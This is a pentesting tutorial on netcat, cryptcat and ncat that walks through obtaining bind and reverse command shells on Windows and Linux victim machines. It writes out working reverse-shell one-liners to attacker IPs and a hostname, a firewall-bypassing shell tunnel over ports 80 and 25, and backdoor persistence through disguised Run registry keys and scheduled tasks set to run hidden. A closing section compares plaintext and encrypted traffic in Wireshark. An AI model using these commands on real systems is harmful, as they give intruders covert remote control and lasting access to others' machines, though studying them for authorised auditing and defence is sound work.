Netcat, Cryptcat, and Ncat: The Swiss Army knives of hacking.

Introduction and objectives

We are going to study the functioning and behavior of these tools, which provide the pentester with a range of opportunities in system auditing.

You can download them from the following links:

• Netcat: https://eternallybored.org/misc/netcat
• Cryptcat: http://cryptcat.sourceforge.net

In the practical exercise we are going to perform in this article, we will learn how to obtain a remote machine’s command shell by using these tools.

Subsequently, we will also conduct a study of the network traffic generated using each of these tools, with the aim of understanding communication security.

Obtaining a “bind shell” in a LAN.

a) Machines used for the practice

To begin the practice, we will use two machines:

Attacker machine[192.168.183.159]: Kali Linux.

Victim machine [192.168.183.173 | 192.168.183.174]: Windows 7

b) Considerations before starting

If we use a port that is protected/closed by a firewall, we must first open that port in the firewall rules to enable it for listening. This can be done in Windows using the command: “netsh firewall add portopening TCP num_puerto “Service Firewall” ENABLE ALL” or “netsh advfirewall firewall add rule name=”Permitir puerto” dir=out protocol=tcp localport=9999 action=allow”, depending on the version of Windows you are using.

c) Netcat listening

To achieve a remote connection that provides us with a “bind shell” of the victim machine’s command prompt, we need to set up a “netcat” listener on that machine using the following command:

• nc -l -d -e cmd.exe -p 9999

Below, the different “flags” passed as arguments to netcat (nc) are explained:

• -d: With this option, “netcat” works in the background to avoid being discovered.

• -e <prog>: Execute a program when a connection is received on the listening port.

• -l (listening): Open a port specified by “-p” while waiting for an incoming connection.

• -L (Listening): More preferable than the “-l” option, as when a connection is lost or closed on the remote machine, the port remains in the listening state, allowing for a new connection to the remote machine without the need to reconfigure “netcat”.

• -p <puerto>: The port to be set for listening or connecting is defined based on the task at hand. The topic of the firewall is important, as if the specified port is blocked by the firewall, establishing incoming and/or outgoing connections will be impossible.

• -v: “Verbose” mode, for greater clarity about what is happening in real time. You can add a double “-v” to obtain more detailed information. This is very useful for debugging connections.

Note: Ideally, have “nc.exe” within the “system32” folder if using a Windows operating system. If not, you will need to execute the command by specifying the full path to where netcat is located. Example:

• C:\pentesting\nc.exe -L -d -e cmd.exe -p 9999

Below, we can see the execution of the command, and through the “netstat -an” command, we can confirm that it is indeed open and waiting for incoming connections.

d) Obtaining the command shell of the victim machine

Once this command is launched on the victim machine, it only remains for us to connect to it from our attacker machine.

Now is the time to go to our attacker machine and initiate the connection, specifying the IP address of the remote host (victim machine) and the port to connect to (9999). We can add the “-vv” (verbose) option for more information. This way, upon making the connection, we will obtain a command shell of the victim machine (Windows 7 OS), as it will execute the “cmd.exe” of the victim to give us control over the terminal:

• nc  192.168.183.173  9999

If we wanted to set up a “bind shell” on a Linux-based system, the command would change slightly since the command shell (terminal) on a Linux system isn’t called “cmd.exe” or “command”. Instead, it’s accessed through the use of “bash” or “sh”. So, the command would be as follows (-e /bin/bash or -e /bin/sh). As a proof of concept, let’s reverse the process we’ve learned so far. In other words, we’ll obtain the command shell of a Kali Linux system on a Windows 7 machine.

Once we have set up the Kali Linux terminal to listen on port 8888, we proceed to connect to it from the Windows 7 machine on port 8888. This will allow us to gain control of the command shell on Kali, as shown below.

Obtaining a reverse command shell in a LAN.

This type of connection, known as “reverse shell,” is ideal both for machines connected within the same local network (LAN) and outside of it. However, a “bind shell” is only suitable within the same LAN, as if it’s not within the same LAN, the attacker would need to traverse multiple devices with various firewall configurations and different perimeter security systems to obtain the command shell of the victim machine.

In a “reverse shell,” it’s the victim who connects to us, as opposed to a “bind shell,” where we are the ones connecting to the victim.

To carry out these practices globally, meaning from any point on the planet, if the attacking machine doesn’t have a static IP address, it’s advisable to register a no-ip domain at “www.no-ip.com” and assign a DNS to an IP address that can be modified whenever necessary. This ensures a stable connection. In upcoming sections, we will see how to set up a suitable scenario to receive a “reverse shell” from any machine connected to the internet worldwide using a public IP address.

a) Netcat listening and obtaining the reverse shell from the victim.

Next, we will begin the practice at hand. To do this, we need to configure “netcat” on our attacker machine, listening on the port where we want to receive the reverse shell:

• nc -vv -l –p 8000

Once our attacker machine is configured, we just need to make the victim connect to our specified IP and port, providing us with its command shell in the following manner:

1. nc -d -e cmd.exe 192.168.183.159   8000     :: S.O. Windows
2. nc -d -e /bin/bash 192.168.183.173  8000    :: S.O. Linux

We can also make the connection using the hostname:

• nc -d -e cmd.exe jaymonsecurity.com   8000

Once this command has been executed on the victim machine, we will receive a command shell from that machine on our attacker machine, as we can observe below:

Obtaining a “reverse shell” in external networks

To carry out a connection of this nature, all we need to do is follow these steps:

• Access the configuration of your router through its web interface using its gateway IP address in a web browser (e.g., http://192.168.1.1), and set up port forwarding in the “port forwarding” section or in the DMZ (Demilitarized Zone, not highly recommended). Configure the opening of the port with the private IP address of your attacker machine. This will result in the router redirecting incoming connections on that port to your attacker machine within the LAN, on the specified port, which should be listening on that machine.

• On our attacker machine, leave the port open on the router where the “reverse shell” from the victim machine will be received.

• It is advisable to create a static DNS record with our public IP address (found through “https://www.whatismyip.com“) using “no-ip.com.” This way, the victim machine will connect to our static DNS instead of our dynamic public IP. This prevents loss of the reverse connection if the dynamic IP changes.

Evasión del firewall de la máquina Windows.

When working with systems that have firewalls, it’s important to note that for a successful connection to the victim machine, the port you intend to use must be enabled in the firewall. If the victim’s firewall is active at the time of connection and the chosen port is blocked, an alert will appear on the victim’s screen, revealing the presence of an attacker.

To avoid this situation and allow the attacker to operate discreetly on the victim machine, it’s recommended to use ports that aren’t typically filtered by firewalls or routers with built-in firewalls. To start this practice, we can use two ports: one for sending information (commands to the victim machine) and another for receiving it. Generally, most firewalls have ports 80 (HTTP), 443 (HTTPS), and 25 (SMTP) open. However, these ports might be open only for incoming or outgoing traffic on certain firewalls.

a) Setting up the scenario with Netcat

We will need to configure two “netcat” listeners on the attacker machine. One on port 80 to send the commands to execute on the victim machine, and another on port 25 to receive the information generated by the execution of the commands.

• nc -vv -l -p 80

• nc -vv -l -p 25

b) Obtaining a tunneled command shell

Once the scenario is set up on our attacker machine, the victim machine just needs to execute the following command, with our attacker machine’s IP being 192.168.183.159:

• nc 192.168.183.159  80 | cmd.exe | nc 192.168.183.159  25

Using the “no-ip” domain, it would look like this:

• nc jaymonsecurity.com 80 | cmd.exe | nc jaymonsecurity.com 25

Here we can see that we have obtained the shell of the victim machine, and the Windows system firewall has been completely bypassed. We can observe how it allows the input of commands through port 80 and the output of information through port 25.

Installing Netcat as a backdoor on a Windows OS

One of the most commonly used techniques to achieve persistence on a previously exploited remote system is to leave a backdoor using “netcat,” “cryptcat,” or “ncat.” This involves installing these tools within a Windows registry key. The purpose is to ensure that every time the victim machine restarts, the backdoor is automatically executed, granting the attacker control over the victim machine.

a) Installation in the Windows Registry

First, open “regedit” using the “Run” dialog or the Command Prompt. Once the Windows Registry Editor is open, navigate to the following keys and create an alphanumeric value:

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

• HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

To the alphanumeric value, give a name that doesn’t attract attention, like System, Microsoft, rundll32, etc. As the value, input the path where the “netcat” is installed on the machine, followed by its respective parameters:

If you want to set up a “bind shell” on a listening port (9999):

• c:\pentesting\nc -l -d -e cmd.exe -p  9999

If you want to receive a reverse shell from the victim on our attacker machine:

• nc -d -e cmd.exe 192.168.183.159  9999

If you want to tunnel the reverse shell to bypass firewall detection:

• nc –d 192.168.183.159 80 | cmd.exe | nc –d 192.168.183.159 25

• nc -d www.no-ip.com <puerto> | cmd.exe | nc -d www.no-ip.com <port>

Let’s not forget to add the -d option to run in the background and hidden. Without it, the victim might see the Command Prompt window when the machine starts up, and if they close it, we’ll lose their command shell.

To add a new registry key remotely from a shell, you could use the following command:

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System /t REG_SZ /d “C:\pentesting\nc -l -d -e cmd.exe -p 9999”

Certainly, the command will be specific to each situation, depending on whether you want to set up “netcat” to execute a reverse shell or if you want to set it up as a “bind shell.” If you choose a reverse shell, remember that the connection to the attacker machine to yield the victim machine’s command shell lasts only a few seconds. Therefore, you need to have the scenario prepared on your attacker machine before the user on the victim machine logs in. If not, you won’t be able to obtain the reverse shell.

b) Adding execution to scheduled tasks

To address the situation described in the previous paragraph, where we want to receive a reverse shell from the victim machine, we can schedule “netcat” to run daily at a specific time. This way, we can have our attacker machine scenario set up in advance, with “netcat” ready to receive the reverse shell from the victim machine. As an interesting point, we can also set up the Metasploit “multi handler” to listen with the “Windows Shell” payload to receive the command shell after the execution of “netcat.” Moreover, this will give the pentester the option to later perform an “upgrade shell to meterpreter.”

To carry out this practice, we will use the “AT” command. The syntax for this command is as follows:

• at <time> <day> “command”

Therefore, to set up netcat for a reverse shell:

• at 8:00p /every:1 “nc -d -e cmd.exe 192.168.183.159   9999”

Or, as we have also seen previously:

• at 8:00p /every:1 “C:\pentesting\nc.exe -d 192.168.183.159 80 | cmd.exe | C:\pentesting\nc.exe -d 192.168.183.159 25”

As we can see, this command will execute “netcat” on the 1st day of every month at 8:00 PM. To verify that the task has been added successfully, you can simply type “at” in the terminal.

Remember that if “netcat” is located in “System32,” you don’t need to provide the full path since it’s in “%systemroot%\system32.” The command execution will be immediate in that case.

For cases involving task scheduling, it’s also recommended to explore the “SCHTASKS” command.

Analyzing incoming and outgoing connections using Wireshark

When it comes to exploitation using “netcat,” I’d like to clarify some essential terms when issuing commands through the established connection tunnel between the attacker and victim machines.

Performing intrusion into a machine and issuing commands through the “netcat” tool presents certain challenges. It’s important to know that using this tool for connections between machines poses a risk to data privacy, as the data travels in clear text during transmission. Therefore, if we’re discussing intrusion into an organization, potential consequences include the risk of being detected or expelled from the network after a brief analysis of the traffic on the network.

In short, everything sent through “netcat” traverses the network in clear text, potentially readable by anyone analyzing the network at that moment. To illustrate this, I’ll demonstrate using “Wireshark” how everything we type during a “netcat” connection can be easily intercepted and interpreted. This is why a project called “cryptcat” was born, which is essentially an “encrypting netcat” that performs the same functions as “netcat” but also encrypts network traffic to mitigate the issues described. You can obtain “cryptcat” from “https://sourceforge.net/projects/cryptcat“.

a) Studying network traffic of the connection with Netcat.

To explain this practice, let’s set up a “netcat” listener on port “8000” to provide us with the command shell of the victim machine with IP address “192.168.4.199,” using the command “nc -e cmd.exe -l -p 8000.” Then, we will connect to it from another previously exploited victim machine with IP address “192.168.4.88,” using another “netcat.”

Here are all the commands issued after the connection between the two machines. Later, we’ll analyze the traffic using “Wireshark” to see how everything we’re doing is visible in real-time.

First, we connect to port “8000” on the other machine and issue the “ipconfig” command, which returns information on the screen. Then, we execute the “dir” command to list the contents of a directory. After that, we exit the current directory and enter the “system” directory.

Once inside the “system” directory, we execute another “dir” command, and it returns the contents of that directory. Finally, we issue the “net user” command to see what users are present on the victim system.

With the commands issued during this proof of concept (PoC) clarified, let’s proceed to analyze the real-time packet capture of network traffic using “Wireshark.”

In this initial capture, we can observe that after the connection is established, we receive the command shell of the victim machine. We can see that the connection is initiated from the machine with IP address 192.168.4.88, and the command shell is returned from the machine with IP address 192.168.4.199.

Now, we can see how we type the “ipconfig” command from our machine:

And here, we can see how the victim machine returns the expected results of its IP configuration:

Next, we issue the “dir” command from our machine:

And here, we can see how the victim returns the results of the directory’s contents where we are:

Next, we can observe how we enter the “system” directory:

And after issuing a “dir” command, we can see the files inside that directory, all of which were uploaded in previous steps after exploiting the machine in question:

Finally, we execute the “net user” command to list the users on the victim machine:

And here, we can see how the victim machine returns the expected results again:

b) Conclusions from the data obtained

As we have observed in this proof of concept (PoC), all the traffic that travels through a connection tunnel built with “netcat” is highly insecure and dangerous. Just as we can see the invoked commands, we could also see captured usernames and passwords on the victim machines or credentials used in reverse connections to our own servers, among others.

Furthermore, when dealing with audits for an organization with which confidentiality terms have been agreed upon, we must pay close attention to these details. If the organization’s credentials are flying in plain text across the network due to our poor practices, any attacker or curious employee could capture them and tarnish our reputation. Not to mention the potential harm it could cause to the organization if the individual obtaining the credentials is, for example, a disgruntled employee.

It’s important to clarify that it’s different if credentials are sent in plain text across the network due to outdated and unpatched software on audited systems or similar reasons, compared to sending them in plain text due to our own irresponsible practices. In the latter case, we might be violating some terms of the contract agreed upon with the organization for conducting the audit, which could have serious legal consequences.

On the contrary, if we use “cryptcat” instead of “netcat,” as shown in a Wireshark traffic capture below, all the information is encrypted, ensuring the confidentiality of data in transmission:

Conclusions and recommendations: “ncat.”

The conclusions drawn from the study of “netcat” and “crypcat” essentially highlight that, for achieving the same objectives, using “crypcat” is more recommended. In addition to performing all the tasks just as accurately as “netcat,” “crypcat” also encrypts the information that travels over the network. This means that an attacker capturing these data packets won’t be able to easily discern the commands being launched on the victim machine, nor the results being sent back to the attacker’s machine.

One downside to note is that both tools are often flagged by antivirus software as potentially harmful programs, trojans, or malware in general.

As a final recommendation, it’s worth mentioning that the best tool for performing these tasks today is “Ncat,” which was developed by the creators of the well-known port and service scanner “Nmap.” It aims to be a highly improved and modernized version of the studied “Netcat.”

“Ncat” for Windows can be downloaded from its official page: “https://nmap.org/ncat/“

If you want to install it on “Kali Linux,” you can simply install it from the repositories using the command “apt-get install ncat.”

As a brief description of “ncat,” it’s worth noting that for encryption and authentication, you can use SSL, SSL CERT, SSL KEY, and SSL VERIFY.

To set up a bind shell on the victim machine, you would launch the following command:

• Ncat -lvp 455 –ssl -e cmd.exe –allow 192.168.183.159

This way, communication is encrypted using SSL, and only the machine with IP address 192.168.183.159 is allowed to connect. As a note of interest, it’s possible to connect from another machine that doesn’t have that IP address through an “IP Spoofing” attack.

On the attacking machine (Kali Linux), you should establish the connection to the victim machine with IP address 192.168.183.177 on port 455 to obtain its command shell as follows:

• ncat 192.168.183.177 455 –ssl    :: Pay attention to the capitalization, as Linux is case-sensitive.

Up to this point concludes this brief study, which I hope has provided you with a broader understanding of the functioning and behavior of these tools.